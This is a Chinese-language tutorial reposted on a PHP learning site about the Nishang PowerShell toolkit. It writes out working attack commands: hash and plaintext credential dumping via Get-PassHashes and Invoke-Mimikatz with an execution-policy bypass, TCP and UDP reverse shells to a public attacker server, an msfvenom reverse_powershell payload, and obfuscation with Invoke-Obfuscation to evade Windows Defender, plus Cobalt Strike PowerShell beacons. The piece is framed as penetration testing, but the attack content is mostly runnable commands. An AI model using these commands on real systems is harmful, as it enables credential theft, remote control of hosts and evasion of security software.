0

0

PowerShell渗透测试利器Nishang怎么用

WBOY

WBOY

发布时间:2023-05-13 10:58:20

|

1487人浏览过

|

来源于亿速云

转载

初始powershell,首先我们先来了解一下概念:powershell可以当做是cmd(bat脚本语言)的升级版,它是windows平台上的脚本语言。是面向对象,是和 .net framework 密切相关的。也可以认为是windows上的bash shell。windows powershell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .net framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 windows 命令提示符和 windows host 环境中获得的知识和创建的脚本。代码运行在内存中可以不去接触磁盘 很多安全产品并不能监测到powershell的活动 cmd.exe通常被阻止运行,但是powershell不会。其实我们在渗透测试过程中需要绕过一些防护软件,除了绕过脚本或者其它的工具以外,poweshell工具其实也是一个不错的选择。比如,我们在目标主机上面用密码抓取神奇mimikatz,这款由法国大牛写的神奇相比大家都经常用,最牛逼指出是可以直接从 lsass.exe 里猎取windows处于active状态账号明文密码。但是如果免杀做的不好的话,也会直接被某免杀全家桶给直接pass。利用powershell,攻击者可以在无需接触磁盘的情况下执行命令。下面介绍几款比较使用的工具:

Nishang简介

Nishang是基于PowerShell的渗透测试专用工具,它集成了脚本和各种payload,比如抓取密码、端口扫描、提权等。这款工具小白在日常渗透测试中使用次数较多的一款工具。首先我们需要下载这个工具,下载的地址:https://github.com/samratashok/nishang, 下载完毕后我们可以看到以下工具里面都包括一些什么

PowerShell渗透测试利器Nishang怎么用

PowerShell渗透测试利器Nishang怎么用

下面我们通过特定的实验环境来演示一下渗透测试过程中常用的模块,在演示之前需要说明几个在运行powershell工具时遇到的几个比较常见的错误,比如执行脚本的权限问题、导入模块的问题等。

Powershell在首次导入模块的时候是不允许的,因为默认的策略是不允许的,这时候我们需要将执行策略改为允许的,就是所谓的remotesigned。

PowerShell渗透测试利器Nishang怎么用

我们查询一下当前的执行策略是什么,Restricted是不被允许执行任何脚本的,即使你是管理员权限。我们需要修改权限,执行命令:

Set-ExecutionPolicy remotesigned,我们再次查询当前的执行策略的时候就是remotesigned可被允许的,再次导入脚本就会成功,出现的警告提示不用理会。

PowerShell渗透测试利器Nishang怎么用

PowerShell渗透测试利器Nishang怎么用

执行查看导入的模块中的脚本信息:Get-Command -Module nishang

PowerShell渗透测试利器Nishang怎么用

列出本机的信息: Get-Information

PowerShell渗透测试利器Nishang怎么用

现在我们也把执行权限修改了,下面就开始我们演示之旅吧。

密码抓取来一波

当我们拿到一台服务器的时候,我们需要知道目标主机是物理机还是虚机,执行命令:Check-VM

PowerShell渗透测试利器Nishang怎么用

首先说明一下,nishang里面也集成了抓取密码的脚本,先抓取一下hash值:

#Get-PassHashes //简单直接的抓取,并显示在dos界面;

#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}"    //获取hash值并保存在自定义的文档中。

PowerShell渗透测试利器Nishang怎么用

PowerShell渗透测试利器Nishang怎么用

PowerShell渗透测试利器Nishang怎么用

既然能抓取hash值,那我们也可以抓取明文密码,我们先看一下抓取密码的脚本,可以看出也是运用了Mimikatz这个工具,只不过是加载了Powershell的脚本里面。

PowerShell渗透测试利器Nishang怎么用

PowerShell渗透测试利器Nishang怎么用

我们可以用以下命令来获取明文密码:

#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" 尝试直接抓取当前系统用户的明文密码。(最常用的命令)

PowerShell渗透测试利器Nishang怎么用

端口反弹搞一波

PowerShell渗透测试利器Nishang怎么用

在渗透测试中我们在做端口转发的时候遇到一系列 的查杀全家桶,nc\lcx\sockes代理等时不时的被杀软截胡。那么这个时候我们可以利用nishang中的端口转发脚本进行。这里除了介绍一下自带的端口转发,还实验一下配合MSF进行端口转发,都需要一台公网服务器。

1、TCP端口转发(反向连接)

公网服务器上面执行监听命令:nc -lvp 5555

目标主机执行端口转发命令: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555

这样我们分别在目标主机和公网上面执行命令后,公网服务器就会反弹一个shell,这样我们就可以执行内网服务器的命令。

PowerShell渗透测试利器Nishang怎么用

豆包手机助手
豆包手机助手

豆包推出的手机系统服务级AI助手

下载

2、UDP端口转发(反向连接)

公网服务器上面执行监听命令:nc -lup 6666

目标主机执行端口转发命令: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666

PowerShell渗透测试利器Nishang怎么用

除了反向连接,也有正向连接,本小白在渗透测试中经常用到反向连接,如果大佬们对正向连接感兴趣的话可以去搞一搞。好了我们现在利用powershell与MSF进行端口转发,首先我们先利用命令查询一下MSF中是否有powershell这个模块:

##msfvenom -l payloads |grep ‘reverse_powershell   //查询powershell模块的位置。

PowerShell渗透测试利器Nishang怎么用

我们利用MSF生成一条反弹端口的一条命令:

##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r  //生成payload,类型是Powershell,标红的一段是需要在目标主机上面执行的命令。

PowerShell渗透测试利器Nishang怎么用

下一步我们在目标主机上面执行刚才生成的一条powershell命令,在公网服务器监听9999端口。这样我们就可以成功的将目标主机的shell反弹到公网服务器上面。

PowerShell渗透测试利器Nishang怎么用

我们也会这样想我们如何在目标主机上面利用混淆处理绕过Windows Defender,因为我们在生成的普通的有效载荷会被Windows Defender进行查杀的,所以我们需要绕过这个检查的机制。我们就以上面的有效载荷为例子做混淆处理来绕过Windows Defender。有的时候我们将自己生成的普通的有效载荷直接在目标主机上进行运行,可能被Windows Defender直接截胡,做混淆处理的工具当属Daniel Bohannon提供的Invoke-Obfuscation了。该项目的Github页面可以找到。

首先我们先启动一下Invoke-Obfuscation这个工具:

Import-Module ./Invoke-Obfuscation.psd1   //导入Invoke-Obfuscation.psd1;

Invoke-Obfuscation    //启动Invoke-Obfuscation工具;

PowerShell渗透测试利器Nishang怎么用

现在我们将刚才生成的端口转发的有效载荷进行做混淆处理,我们首先看一下各种混淆的处理方式的参数:

PowerShell渗透测试利器Nishang怎么用

有效载荷的哪些部分需要进行混淆,我们必须提前规定好,可以通过以下命令完成:

Set scriptblock '有效载荷';

PowerShell渗透测试利器Nishang怎么用

我们选择将整个命令作为字符串进行obfuse(具体选择根据具体的渗透测试环境):

PowerShell渗透测试利器Nishang怎么用

选择1进行ASCII混淆处理,我们输入out 1.ps1进行输出查看,这个命令也相当于将混淆完毕的文件保存在当前目录下,并以1.ps1:

PowerShell渗透测试利器Nishang怎么用

在目标主机上面进行执行此脚本,公网服务器监听9999端口,也可以成功的反弹内网主机的shell:

PowerShell渗透测试利器Nishang怎么用

powershell与cobaltstrike工具擦出不一样的火花

Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。这个工具也是一款内网渗透的利器,我们这里只是说一下powershell与Cobalt Strike能够碰触怎样的火花?

Cobalt Strike需要分别在客户端和服务器端安装,然后在启动此工具:

PowerShell渗透测试利器Nishang怎么用

PowerShell渗透测试利器Nishang怎么用

首先我们先监听一个端口,主机地址写公网IP地址,然后就会生成一个powershell命令,将此命令在目标主机上面运行,目标主机就会上线,然后我们就可以远程抓取密码、提权、监听等操作:

PowerShell渗透测试利器Nishang怎么用PowerShell渗透测试利器Nishang怎么用PowerShell渗透测试利器Nishang怎么用PowerShell渗透测试利器Nishang怎么用PowerShell渗透测试利器Nishang怎么用PowerShell渗透测试利器Nishang怎么用PowerShell渗透测试利器Nishang怎么用

说实话这是这两个工具我在这里擦出的火花只是一点点,其余的操作还有许多,有兴趣的大佬可以去研究一下,这个工具在内网渗透中运用的比较多。

相关文章

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

相关专题

更多
Golang gRPC 服务开发与Protobuf实战
Golang gRPC 服务开发与Protobuf实战

本专题系统讲解 Golang 在 gRPC 服务开发中的完整实践,涵盖 Protobuf 定义与代码生成、gRPC 服务端与客户端实现、流式 RPC(Unary/Server/Client/Bidirectional)、错误处理、拦截器、中间件以及与 HTTP/REST 的对接方案。通过实际案例,帮助学习者掌握 使用 Go 构建高性能、强类型、可扩展的 RPC 服务体系,适用于微服务与内部系统通信场景。

8

2026.01.15

公务员递补名单公布时间 公务员递补要求
公务员递补名单公布时间 公务员递补要求

公务员递补名单公布时间不固定,通常在面试前,由招录单位(如国家知识产权局、海关等)发布,依据是原入围考生放弃资格,会按笔试成绩从高到低递补,递补考生需按公告要求限时确认并提交材料,及时参加面试/体检等后续环节。要求核心是按招录单位公告及时响应、提交材料(确认书、资格复审材料)并准时参加面试。

44

2026.01.15

公务员调剂条件 2026调剂公告时间
公务员调剂条件 2026调剂公告时间

(一)符合拟调剂职位所要求的资格条件。 (二)公共科目笔试成绩同时达到拟调剂职位和原报考职位的合格分数线,且考试类别相同。 拟调剂职位设置了专业科目笔试条件的,专业科目笔试成绩还须同时达到合格分数线,且考试类别相同。 (三)未进入原报考职位面试人员名单。

58

2026.01.15

国考成绩查询入口 国考分数公布时间2026
国考成绩查询入口 国考分数公布时间2026

笔试成绩查询入口已开通,考生可登录国家公务员局中央机关及其直属机构2026年度考试录用公务员专题网站http://bm.scs.gov.cn/pp/gkweb/core/web/ui/business/examResult/written_result.html,查询笔试成绩和合格分数线,点击“笔试成绩查询”按钮,凭借身份证及准考证进行查询。

11

2026.01.15

Java 桌面应用开发(JavaFX 实战)
Java 桌面应用开发(JavaFX 实战)

本专题系统讲解 Java 在桌面应用开发领域的实战应用,重点围绕 JavaFX 框架,涵盖界面布局、控件使用、事件处理、FXML、样式美化(CSS)、多线程与UI响应优化,以及桌面应用的打包与发布。通过完整示例项目,帮助学习者掌握 使用 Java 构建现代化、跨平台桌面应用程序的核心能力。

65

2026.01.14

php与html混编教程大全
php与html混编教程大全

本专题整合了php和html混编相关教程,阅读专题下面的文章了解更多详细内容。

36

2026.01.13

PHP 高性能
PHP 高性能

本专题整合了PHP高性能相关教程大全,阅读专题下面的文章了解更多详细内容。

75

2026.01.13

MySQL数据库报错常见问题及解决方法大全
MySQL数据库报错常见问题及解决方法大全

本专题整合了MySQL数据库报错常见问题及解决方法,阅读专题下面的文章了解更多详细内容。

21

2026.01.13

PHP 文件上传
PHP 文件上传

本专题整合了PHP实现文件上传相关教程,阅读专题下面的文章了解更多详细内容。

35

2026.01.13

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号